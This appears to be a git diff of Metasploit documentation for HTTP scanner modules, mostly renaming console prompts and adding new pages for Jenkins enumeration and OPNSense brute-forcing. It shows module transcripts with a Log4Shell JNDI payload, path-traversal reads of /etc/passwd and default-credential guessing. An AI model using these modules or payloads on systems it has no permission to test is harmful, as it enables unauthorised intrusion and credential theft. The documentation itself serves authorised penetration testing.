a/documentation/modules/auxiliary/scanner/http/httpdasm_directory_traversal.md b/documentation/modules/auxiliary/scanner/http/httpdasm_directory_traversal.md index 43d8295bd7608..a358dadcf064e 100644 --- a/documentation/modules/auxiliary/scanner/http/httpdasm_directory_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/httpdasm_directory_traversal.md @@ -44,10 +44,10 @@ ### Tested on Windows XP x86 ``` - msf5 > use auxiliary/scanner/http/httpdasm_directory_traversal - msf5 auxiliary(scanner/http/httpdasm_directory_traversal) > set rhosts 192.168.37.128 + msf > use auxiliary/scanner/http/httpdasm_directory_traversal + msf auxiliary(scanner/http/httpdasm_directory_traversal) > set rhosts 192.168.37.128 rhosts => 192.168.37.128 - msf5 auxiliary(scanner/http/httpdasm_directory_traversal) > run + msf auxiliary(scanner/http/httpdasm_directory_traversal) > run [boot loader] timeout=30 @@ -56,5 +56,5 @@ multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [*] Auxiliary module execution completed - msf5 auxiliary(scanner/http/httpdasm_directory_traversal) > + msf auxiliary(scanner/http/httpdasm_directory_traversal) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/iis_internal_ip.md b/documentation/modules/auxiliary/scanner/http/iis_internal_ip.md index 26d44d382f877..f3d91f83bbc2a 100644 --- a/documentation/modules/auxiliary/scanner/http/iis_internal_ip.md +++ b/documentation/modules/auxiliary/scanner/http/iis_internal_ip.md @@ -21,17 +21,17 @@ IP address in then body ### IIS with SSL ``` -msf5 > use auxiliary/scanner/http/iis_internal_ip -msf5 auxiliary(scanner/http/iis_internal_ip) > set ssl true +msf > use auxiliary/scanner/http/iis_internal_ip +msf auxiliary(scanner/http/iis_internal_ip) > set ssl true [!] Changing the SSL option's value may require changing RPORT! ssl => true -msf5 auxiliary(scanner/http/iis_internal_ip) > set rport 443 +msf auxiliary(scanner/http/iis_internal_ip) > set rport 443 rport => 443 -msf5 auxiliary(scanner/http/iis_internal_ip) > set rhosts 2.2.2.2 +msf auxiliary(scanner/http/iis_internal_ip) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf5 auxiliary(scanner/http/iis_internal_ip) > set verbose true +msf auxiliary(scanner/http/iis_internal_ip) > set verbose true verbose => true -rmsf5 auxiliary(scanner/http/iis_internal_ip) > run +rmsf auxiliary(scanner/http/iis_internal_ip) > run [*] 2.2.2.2:443 - Requesting GET / HTTP/1.0 [+] Location Header: https://10.1.1.20/home @@ -48,4 +48,4 @@ rmsf5 auxiliary(scanner/http/iis_internal_ip) > run - https://www.exploit-db.com/exploits/20096 - https://support.microsoft.com/en-us/help/218180/internet-information-server-returns-ip-address-in-http-header-content - https://support.microsoft.com/en-us/help/967342/fix-the-internal-ip-address-of-an-iis-7-0-server-is-revealed-if-an-htt -- https://techcommunity.microsoft.com/t5/iis-support-blog/iis-web-servers-running-in-windows-azure-may-reveal-their/ba-p/826500 \ No newline at end of file +- https://techcommunity.microsoft.com/t5/iis-support-blog/iis-web-servers-running-in-windows-azure-may-reveal-their/ba-p/826500 diff --git a/documentation/modules/auxiliary/scanner/http/influxdb_enum.md b/documentation/modules/auxiliary/scanner/http/influxdb_enum.md index b1b128defbdc2..072069d325f93 100644 --- a/documentation/modules/auxiliary/scanner/http/influxdb_enum.md +++ b/documentation/modules/auxiliary/scanner/http/influxdb_enum.md @@ -10,12 +10,12 @@ This module enumerates databases on InfluxDB using the REST API using the defaul ## Scenarios ``` -msf5 > use auxiliary/scanner/http/influxdb_enum -msf5 auxiliary(scanner/http/influxdb_enum) > set RHOST 172.25.65.20 +msf > use auxiliary/scanner/http/influxdb_enum +msf auxiliary(scanner/http/influxdb_enum) > set RHOST 172.25.65.20 RHOST => 172.25.65.20 -msf5 auxiliary(scanner/http/influxdb_enum) > set VERBOSE true +msf auxiliary(scanner/http/influxdb_enum) > set VERBOSE true VERBOSE => true -msf5 auxiliary(scanner/http/influxdb_enum) > run +msf auxiliary(scanner/http/influxdb_enum) > run [+] 172.25.65.20:8086 - Influx Version: 1.5.1 [+] 172.25.65.20:8086 - Influx DB Found: @@ -43,4 +43,4 @@ msf5 auxiliary(scanner/http/influxdb_enum) > run [+] File saved in: /Users/unix/.msf4/loot/20180423050119_default_172.25.65.20_influxdb.enum_623871.txt [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/scanner/http/jenkins_enum.md b/documentation/modules/auxiliary/scanner/http/jenkins_enum.md new file mode 100644 index 0000000000000..8e07829d23e97 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/jenkins_enum.md @@ -0,0 +1,72 @@ +# Jenkins Enumeration Auxiliary Module + +## Vulnerable Application +This module performs unauthenticated enumeration on Jenkins servers. It attempts to discover the Jenkins version, identify unauthenticated accessible endpoints, and gather useful system information when possible. + +Jenkins servers that do not enforce strict authentication on certain URLs (such as `/script`) are susceptible to this enumeration. This module helps penetration testers quickly identify such information leakage. +Jenkins instances may expose sensitive information through misconfigured endpoints. Many companies unintentionally leave URLs like /script and /manage open without authentication, allowing attackers to retrieve system details. If these endpoints return data, it’s a sign that authentication settings might need to be tightened. + + +## Verification Steps +1. Start `msfconsole` +2. Use the module: `use auxiliary/scanner/http/jenkins_enum` +3. Set the target(s) and other options: `set RHOSTS `, `set RPORT 8080`, `set TARGETURI /jenkins/`, etc +4. Run the module: `run` +5. You might see output similar to: + +``` +[+] 192.168.1.100:8080 - Jenkins Version: 2.319.1 +[+] 192.168.1.100:8080 - /script is accessible without authentication (HTTP 200) +[+] 192.168.1.100:8080 - Enumerating plugins... +[+] 192.168.1.100:8080 - Plugin detected: Git Plugin 4.11.3 +[+] 192.168.1.100:8080 - System Information: + OS: Linux + OS Version: 5.4.0-77-generic + Architecture: amd64 + Jenkins Home: /var/lib/jenkins +[*] 192.168.1.100:8080 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +## Options + +### RHOSTS +Specifies the target host(s) or IP range to scan. You can input a single IP address, a range, or a CIDR subnet. +Default: None (required) + +### RPORT +Defines the target port for HTTP connections. Jenkins often runs on port 8080, but the default for this module is 80. Adjust accordingly. +Default: 80 + +### TARGETURI +The base path of the Jenkins application on the target server. Usually /jenkins/ but can differ based on installation or proxy setup. +Default: /jenkins/ + +### THREADS +The number of concurrent threads to use for faster scanning. Increasing this number can speed up scans but may generate more network traffic or load on the target. +Default: 1 + +### VHOST +Specify a virtual host name for the HTTP Host header if Jenkins is running behind a virtual host or reverse proxy. +Default: None + +## Scenarios +This example demonstrates how to use the jenkins_enum module to enumerate information from a Jenkins server running on the local network at IP 192.168.1.100 on port 8080, where Jenkins is installed at the default /jenkins/ path. + +``` +msf > use auxiliary/scanner/http/jenkins_enum +msf auxiliary(scanner/http/jenkins_enum) > set RHOSTS 192.168.1.100 +msf auxiliary(scanner/http/jenkins_enum) > set RPORT 8080 +msf auxiliary(scanner/http/jenkins_enum) > set TARGETURI /jenkins/ +msf auxiliary(scanner/http/jenkins_enum) > run + +[*] 192.168.1.100:8080 - Jenkins Version: 2.319.1 +[+] 192.168.1.100:8080 - /script is accessible without authentication (HTTP 200) +[*] 192.168.1.100:8080 - Enumerating plugins... +[+] 192.168.1.100:8080 - Plugin detected: Git Plugin 4.11.3 +[+] 192.168.1.100:8080 - Plugin detected: Matrix Authorization Strategy 2.6.7 +[+] 192.168.1.100:8080 - Plugin detected: Workflow CPS 2.92 +[*] 192.168.1.100:8080 - Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` +The module retrieves the Jenkins version and installed plugins without requiring credentials, which can help identify vulnerable plugin versions or configuration weaknesses. diff --git a/documentation/modules/auxiliary/scanner/http/jenkins_login.md b/documentation/modules/auxiliary/scanner/http/jenkins_login.md index 1e706b645e607..d8c2da45767e4 100644 --- a/documentation/modules/auxiliary/scanner/http/jenkins_login.md +++ b/documentation/modules/auxiliary/scanner/http/jenkins_login.md @@ -131,7 +131,7 @@ attempt will look similar to the following: ### Single set of credentials being passed ``` -msf6 auxiliary(scanner/http/jenkins_login) > run rhost=127.0.0.1 rport=8080 username=admin password=34c27512dda149ff8bc0d0854123562c +msf auxiliary(scanner/http/jenkins_login) > run rhost=127.0.0.1 rport=8080 username=admin password=34c27512dda149ff8bc0d0854123562c [+] 127.0.0.1:8080 - Login Successful: admin:34c27512dda149ff8bc0d0854123562c [*] Scanned 1 of 1 hosts (100% complete) @@ -141,7 +141,7 @@ msf6 auxiliary(scanner/http/jenkins_login) > run rhost=127.0.0.1 rport=8080 user ### Multiple credentials being passed ``` -msf6 auxiliary(scanner/http/jenkins_login) > run rhost=127.0.0.1 rport=8080 user_file=users.txt pass_file=passwords.txt +msf auxiliary(scanner/http/jenkins_login) > run rhost=127.0.0.1 rport=8080 user_file=users.txt pass_file=passwords.txt [-] 127.0.0.1:8080 - LOGIN FAILED: admin:6519d020f3d743d9bd6b60b777b55f86 (Incorrect) [-] 127.0.0.1:8080 - LOGIN FAILED: admin:d2fbc2973ce24146adb381d32e789269 (Incorrect) diff --git a/documentation/modules/auxiliary/scanner/http/jira_user_enum.md b/documentation/modules/auxiliary/scanner/http/jira_user_enum.md index 33f66ec62df38..82c55e51465bb 100644 --- a/documentation/modules/auxiliary/scanner/http/jira_user_enum.md +++ b/documentation/modules/auxiliary/scanner/http/jira_user_enum.md @@ -47,18 +47,18 @@ ## Scenarios ``` - msf6 > use auxiliary/scanner/http/jira_enum_users - msf6 auxiliary(scanner/http/jira_enum_users) > set rhosts 192.168.0.101 + msf > use auxiliary/scanner/http/jira_enum_users + msf auxiliary(scanner/http/jira_enum_users) > set rhosts 192.168.0.101 rhosts => 192.168.0.101 - msf6 auxiliary(scanner/http/jira_enum_users) > set USERNAME admin - msf6 auxiliary(scanner/http/jira_enum_users) > run + msf auxiliary(scanner/http/jira_enum_users) > set USERNAME admin + msf auxiliary(scanner/http/jira_enum_users) > run [*] Begin enumerating users at 192.168.0.101/secure/ViewUserHover.jspa?username= [*] checking user admin [+] 'User exists: admin' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed - msf6 auxiliary(scanner/http/jira_enum_users) > creds + msf auxiliary(scanner/http/jira_enum_users) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/joomla_pages.md b/documentation/modules/auxiliary/scanner/http/joomla_pages.md index 87ef7f10bd3a1..21104c511a932 100644 --- a/documentation/modules/auxiliary/scanner/http/joomla_pages.md +++ b/documentation/modules/auxiliary/scanner/http/joomla_pages.md @@ -13,10 +13,10 @@ This module scans for Joomla Content Management System running on a web server f ## Usage ``` -msf5 > use auxiliary/scanner/http/joomla_pages -msf5 auxiliary(scanner/http/joomla_pages) > set rhosts 192.168.2.39 +msf > use auxiliary/scanner/http/joomla_pages +msf auxiliary(scanner/http/joomla_pages) > set rhosts 192.168.2.39 rhosts => 192.168.2.39 -msf5 auxiliary(scanner/http/joomla_pages) > run +msf auxiliary(scanner/http/joomla_pages) > run [+] Page Found: /robots.txt [+] Page Found: /administrator/index.php diff --git a/documentation/modules/auxiliary/scanner/http/joomla_plugins.md b/documentation/modules/auxiliary/scanner/http/joomla_plugins.md index 2811f08bc9dc2..3d0abe70e49f3 100644 --- a/documentation/modules/auxiliary/scanner/http/joomla_plugins.md +++ b/documentation/modules/auxiliary/scanner/http/joomla_plugins.md @@ -6,10 +6,10 @@ The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/m ## Usage ``` -msf5 > use auxiliary/scanner/http/joomla_plugins -msf5 auxiliary(scanner/http/joomla_plugins) > set rhosts 192.168.2.39 +msf > use auxiliary/scanner/http/joomla_plugins +msf auxiliary(scanner/http/joomla_plugins) > set rhosts 192.168.2.39 rhosts => 192.168.2.39 -msf5 auxiliary(scanner/http/joomla_plugins) > run +msf auxiliary(scanner/http/joomla_plugins) > run [+] Plugin: /?1.5.10-x [+] Plugin: /?1.5.11-x-http_ref diff --git a/documentation/modules/auxiliary/scanner/http/joomla_version.md b/documentation/modules/auxiliary/scanner/http/joomla_version.md index b4b12390362c8..e1d49d404eb03 100644 --- a/documentation/modules/auxiliary/scanner/http/joomla_version.md +++ b/documentation/modules/auxiliary/scanner/http/joomla_version.md @@ -5,10 +5,10 @@ This module scans for Joomla Content Management System running on a web server. ## Usage ``` -msf5 > use auxiliary/scanner/http/joomla_version -msf5 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.2.39 +msf > use auxiliary/scanner/http/joomla_version +msf auxiliary(scanner/http/joomla_version) > set rhosts 192.168.2.39 rhosts => 192.168.2.39 -msf5 auxiliary(scanner/http/joomla_version) > run +msf auxiliary(scanner/http/joomla_version) > run [*] Server: Apache/2.4.29 (Ubuntu) [+] Joomla version: 3.8.2 diff --git a/documentation/modules/auxiliary/scanner/http/jupyter_login.md b/documentation/modules/auxiliary/scanner/http/jupyter_login.md index 864e674346e4b..a05f62a95b365 100644 --- a/documentation/modules/auxiliary/scanner/http/jupyter_login.md +++ b/documentation/modules/auxiliary/scanner/http/jupyter_login.md @@ -39,36 +39,36 @@ original IPython Notebook system. This module is compatible with both standard J ### Jupyter Notebook 4.3.0 With No Authentication Requirement ``` -msf5 > use auxiliary/scanner/http/jupyter_login -msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128 +msf > use auxiliary/scanner/http/jupyter_login +msf auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt +msf auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt PASS_FILE => /tmp/passwords.txt -msf5 auxiliary(scanner/http/jupyter_login) > run +msf auxiliary(scanner/http/jupyter_login) > run [*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 4.3.0 [+] 192.168.159.128:8888 - No password is required. [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/jupyter_login) > +msf auxiliary(scanner/http/jupyter_login) > ``` ### Jupyter Notebook 6.0.2 With A Password Set ``` -msf5 > use auxiliary/scanner/http/jupyter_login -msf5 auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128 +msf > use auxiliary/scanner/http/jupyter_login +msf auxiliary(scanner/http/jupyter_login) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf5 auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt +msf auxiliary(scanner/http/jupyter_login) > set PASS_FILE /tmp/passwords.txt PASS_FILE => /tmp/passwords.txt -msf5 auxiliary(scanner/http/jupyter_login) > run +msf auxiliary(scanner/http/jupyter_login) > run [*] 192.168.159.128:8888 - The server responded that it is running Jupyter version: 6.0.2 [-] 192.168.159.128:8888 - LOGIN FAILED: :Password (Incorrect) [+] 192.168.159.128:8888 - Login Successful: :Password1 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/jupyter_login) > +msf auxiliary(scanner/http/jupyter_login) > ``` [1]: https://jupyter-notebook.readthedocs.io/en/stable/changelog.html#release-4-3 diff --git a/documentation/modules/auxiliary/scanner/http/limesurvey_zip_traversals.md b/documentation/modules/auxiliary/scanner/http/limesurvey_zip_traversals.md index 2667d126897b5..abdb3fed9084f 100644 --- a/documentation/modules/auxiliary/scanner/http/limesurvey_zip_traversals.md +++ b/documentation/modules/auxiliary/scanner/http/limesurvey_zip_traversals.md @@ -120,7 +120,7 @@ resource (lime41.rb)> md5sum ~/.msf4/loot/* 3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141208_default_2.2.2.2__407491.txt 3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__149900.txt 3cf5f3492b7c77a77f74124bb4ccb528 /home/h00die/.msf4/loot/20200408141209_default_2.2.2.2__611969.txt -msf5 auxiliary(scanner/http/limesurvey_zip_traversals) > cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt +msf auxiliary(scanner/http/limesurvey_zip_traversals) > cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt [*] exec: cat /home/h00die/.msf4/loot/20200408141207_default_2.2.2.2__164991.txt root:x:0:0:root:/root:/bin/bash diff --git a/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md b/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md index 9ffc0e6358e17..0ec038ac6af44 100644 --- a/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md +++ b/documentation/modules/auxiliary/scanner/http/log4shell_scanner.md @@ -76,22 +76,22 @@ Time in seconds to wait to receive LDAP connections. ### Apache Struts2 ``` -msf6 > use auxiliary/scanner/http/log4shell_scanner -msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.159.128 +msf > use auxiliary/scanner/http/log4shell_scanner +msf auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.159.128 +msf auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.159.128 SRVHOST => 192.168.159.128 -msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 +msf auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 -msf6 auxiliary(scanner/http/log4shell_scanner) > set TARGETURI /struts2-showcase/ +msf auxiliary(scanner/http/log4shell_scanner) > set TARGETURI /struts2-showcase/ TARGETURI => /struts2-showcase/ -msf6 auxiliary(scanner/http/log4shell_scanner) > run +msf auxiliary(scanner/http/log4shell_scanner) > run [*] Started service listener on 192.168.159.128:389 [+] Log4Shell found via /struts2-showcase/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/r7yol50kgg7be/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/log4shell_scanner) > +msf auxiliary(scanner/http/log4shell_scanner) > ``` @@ -100,8 +100,8 @@ msf6 auxiliary(scanner/http/log4shell_scanner) > Apache Solr is trivially exploitable by a remote and unauthenticated attacker when in its default configuration: ``` -msf6 > use auxiliary/scanner/http/log4shell_scanner -msf6 auxiliary(scanner/http/log4shell_scanner) > run http://10.10.235.209:8983/ srvhost=10.9.4.245 +msf > use auxiliary/scanner/http/log4shell_scanner +msf auxiliary(scanner/http/log4shell_scanner) > run http://10.10.235.209:8983/ srvhost=10.9.4.245 [*] Started service listener on 10.9.4.245:389 [+] 10.10.235.209:8983 - Log4Shell found via /solr/admin/cores?action=CREATE&wt=json&name=%24%7bjndi%3aldap%3a/10.9.4.245%3a389/vslscuy7m6q9pgfc18h/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d (java: Oracle Corporation_1.8.0_181) diff --git a/documentation/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.md b/documentation/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.md index 03cca6bd63ae4..94a1d7603c7e0 100644 --- a/documentation/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.md +++ b/documentation/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.md @@ -31,13 +31,13 @@ ## Scenarios ``` - msf5 > use auxiliary/scanner/http/manageengine_deviceexpert_user_creds - msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > set rhosts 172.16.158.131 + msf > use auxiliary/scanner/http/manageengine_deviceexpert_user_creds + msf auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > set rhosts 172.16.158.131 rhosts => 172.16.158.131 - msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > check + msf auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > check [+] 172.16.158.131:6060 - The target is vulnerable. [*] Checked 1 of 1 hosts (100% complete) - msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > run + msf auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > run [*] 172.16.158.131:6060 - Found weak credentials (admin:admin) @@ -51,7 +51,7 @@ [*] Credentials saved in: /Users/jvazquez/.msf4/loot/20140926165907_default_172.16.158.131_manageengine.dev_118155.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed - msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > creds 172.16.158.131 + msf auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > creds 172.16.158.131 Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/nagios_xi_scanner.md b/documentation/modules/auxiliary/scanner/http/nagios_xi_scanner.md index b293dd805059b..3c27a16e504ee 100644 --- a/documentation/modules/auxiliary/scanner/http/nagios_xi_scanner.md +++ b/documentation/modules/auxiliary/scanner/http/nagios_xi_scanner.md @@ -49,12 +49,12 @@ the module will not probe the target, so it is not necessary to provide credenti ## Scenarios ### Nagios XI 5.6.5 running on CentOS 7 ``` -msf6 > use auxiliary/scanner/http/nagios_xi_scanner -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set rhosts 192.168.1.14 +msf > use auxiliary/scanner/http/nagios_xi_scanner +msf auxiliary(scanner/http/nagios_xi_scanner) > set rhosts 192.168.1.14 rhosts => 192.168.1.14 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set password nagiosadmin +msf auxiliary(scanner/http/nagios_xi_scanner) > set password nagiosadmin password => nagiosadmin -msf6 auxiliary(scanner/http/nagios_xi_scanner) > show options +msf auxiliary(scanner/http/nagios_xi_scanner) > show options Module options (auxiliary/scanner/http/nagios_xi_scanner): @@ -74,7 +74,7 @@ Module options (auxiliary/scanner/http/nagios_xi_scanner): VERSION no Nagios XI version to check against existing exploit modules VHOST no HTTP server virtual host -msf6 auxiliary(scanner/http/nagios_xi_scanner) > run +msf auxiliary(scanner/http/nagios_xi_scanner) > run [+] Successfully authenticated to Nagios XI [*] Target is Nagios XI with version 5.6.5 @@ -91,12 +91,12 @@ msf6 auxiliary(scanner/http/nagios_xi_scanner) > run ``` ### Nagios XI 5.7.9 version provided via VERSION ``` -msf6 > use auxiliary/scanner/http/nagios_xi_scanner -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set rhosts 192.168.1.14 +msf > use auxiliary/scanner/http/nagios_xi_scanner +msf auxiliary(scanner/http/nagios_xi_scanner) > set rhosts 192.168.1.14 rhosts => 192.168.1.14 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set version 5.7.9 +msf auxiliary(scanner/http/nagios_xi_scanner) > set version 5.7.9 version => 5.7.9 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > show options +msf auxiliary(scanner/http/nagios_xi_scanner) > show options Module options (auxiliary/scanner/http/nagios_xi_scanner): @@ -116,7 +116,7 @@ Module options (auxiliary/scanner/http/nagios_xi_scanner): VERSION 5.7.9 no Nagios XI version to check against existing exploit modules VHOST no HTTP server virtual host -msf6 auxiliary(scanner/http/nagios_xi_scanner) > run +msf auxiliary(scanner/http/nagios_xi_scanner) > run [+] Version 5.7.9 matches the following 1 exploit(s): [*] @@ -127,14 +127,14 @@ msf6 auxiliary(scanner/http/nagios_xi_scanner) > run ``` ### Nagios XI 5.7.5 - incomplete installation, FINISH_INSTALL set to true ``` -msf6 > use auxiliary/scanner/http/nagios_xi_scanner -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set rhosts 192.168.1.16 +msf > use auxiliary/scanner/http/nagios_xi_scanner +msf auxiliary(scanner/http/nagios_xi_scanner) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set password nagiosadmin +msf auxiliary(scanner/http/nagios_xi_scanner) > set password nagiosadmin password => nagiosadmin -msf6 auxiliary(scanner/http/nagios_xi_scanner) > set finish_install true +msf auxiliary(scanner/http/nagios_xi_scanner) > set finish_install true finish_install => true -msf6 auxiliary(scanner/http/nagios_xi_scanner) > show options +msf auxiliary(scanner/http/nagios_xi_scanner) > show options Module options (auxiliary/scanner/http/nagios_xi_scanner): @@ -154,7 +154,7 @@ Module options (auxiliary/scanner/http/nagios_xi_scanner): VERSION no Nagios XI version to check against existing exploit modules VHOST no HTTP server virtual host -msf6 auxiliary(scanner/http/nagios_xi_scanner) > run +msf auxiliary(scanner/http/nagios_xi_scanner) > run [*] Attempting to authenticate to Nagios XI... [!] The target seems to be a Nagios XI application that has not been fully installed yet. [*] Attempting to finish the Nagios XI installation on the target using the provided password. The username will be `nagiosadmin`. diff --git a/documentation/modules/auxiliary/scanner/http/netalertx_file_read.md b/documentation/modules/auxiliary/scanner/http/netalertx_file_read.md index f5d5ef42291f3..9aacb91f47278 100644 --- a/documentation/modules/auxiliary/scanner/http/netalertx_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/netalertx_file_read.md @@ -41,8 +41,8 @@ docker run --rm --network=host \ ## Scenarios ``` -msf6 > use auxiliary/scanner/http/netalertx_file_read -msf6 auxiliary(scanner/http/netalertx_file_read) > show options +msf > use auxiliary/scanner/http/netalertx_file_read +msf auxiliary(scanner/http/netalertx_file_read) > show options Module options (auxiliary/scanner/http/netalertx_file_read): @@ -61,9 +61,9 @@ Module options (auxiliary/scanner/http/netalertx_file_read): View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/http/netalertx_file_read) > set RHOSTS 127.0.0.1 +msf auxiliary(scanner/http/netalertx_file_read) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(scanner/http/netalertx_file_read) > run +msf auxiliary(scanner/http/netalertx_file_read) > run [*] Received data: [*] root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin @@ -88,7 +88,7 @@ nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin [*] Stored results in netalert_result.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/netalertx_file_read) > +msf auxiliary(scanner/http/netalertx_file_read) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/onion_omega2_login.md b/documentation/modules/auxiliary/scanner/http/onion_omega2_login.md index 6fbd0c3aa4d53..d94380da0f20c 100644 --- a/documentation/modules/auxiliary/scanner/http/onion_omega2_login.md +++ b/documentation/modules/auxiliary/scanner/http/onion_omega2_login.md @@ -41,12 +41,12 @@ root master ## Scenario ``` -msf5 > use auxiliary/scanner/http/onion_omega2_login -msf5 auxiliary(scanner/http/onion_omega2_login) > set RHOSTS 192.168.3.1 +msf > use auxiliary/scanner/http/onion_omega2_login +msf auxiliary(scanner/http/onion_omega2_login) > set RHOSTS 192.168.3.1 RHOSTS => 192.168.3.1 -msf5 auxiliary(scanner/http/onion_omega2_login) > set USERPASS_FILE something.txt +msf auxiliary(scanner/http/onion_omega2_login) > set USERPASS_FILE something.txt USERPASS_FILE => something.txt -msf5 auxiliary(scanner/http/onion_omega2_login) > run +msf auxiliary(scanner/http/onion_omega2_login) > run [*] Running for 192.168.3.1... [*] 192.168.3.1:80 - [ 1/16] - root:123456 - Failure diff --git a/documentation/modules/auxiliary/scanner/http/opnsense_login.md b/documentation/modules/auxiliary/scanner/http/opnsense_login.md new file mode 100644 index 0000000000000..632689496abb1 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/opnsense_login.md @@ -0,0 +1,111 @@ +## Vulnerable Application + +This module attempts to bruteforce credentials for OPNSense. + +This module was specifically tested on version 25.1 and 21.1, with older versions being unavailable from OPNSense mirrors. + +Note: + +By default, OPNSense comes with a built-in account named `root` with the password being `opnsense`. + +When performing too many login attempts, OPNSense will drop all packets coming from your IP, until the router is either: +- Restarted +- An anti-lockout rule is added + +## Verification Steps + +1. Set up an OPNSense VM or target a real installation +1. Start `bundle exec ./msfconsole -q` +1. `use auxiliary/scanner/http/opnsense_login` +1. `set ssl true` +1. `set pass_file ...` +1. `set user_file ...` +1. `run` +1. or, using some example inline options: +``` +run pass_file=data/wordlists/default_pass_for_services_unhash.txt \ + user_file=data/wordlists/default_pass_for_services_unhash.txt \ + STOP_ON_SUCCESS=true SSL=true rport=443 +``` +1. Verify you get a login: +``` +[+] 192.168.207.158:443 - Login Successful: root:opnsense +``` + +## Options + +### BLANK_PASSWORD + +Set to `true` if an additional login attempt should be made with an empty password for every user. + +### BRUTEFORCE_SPEED + +How fast to bruteforce, from 0 to 5 + +### PASSWORD + +A specific password to authenticate with + +### PASS_FILE + +File containing passwords, one per line + +### STOP_ON_SUCCESS + +Stop guessing when a credential works for a host + +### THREADS + +The number of concurrent threads (max one per host) + +### USERPASS_FILE + +File containing users and passwords separated by space, one pair per line + +### USER_FILE + +File containing usernames, one per line + +### VERBOSE + +Whether to print output for all attempts + +## Scenarios +``` +msf auxiliary(scanner/http/opnsense_login) > options + +Module options (auxiliary/scanner/http/opnsense_login): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password + BLANK_PASSWORDS false no Try blank passwords for all users + BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 + DB_ALL_CREDS false no Try each user/password couple stored in the current database + DB_ALL_PASS false no Add all passwords in the current database to the list + DB_ALL_USERS false no Add all users in the current database to the list + DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + PASSWORD opnsense no A specific password to authenticate with + PASS_FILE no File containing passwords, one per line + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.207.161 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port 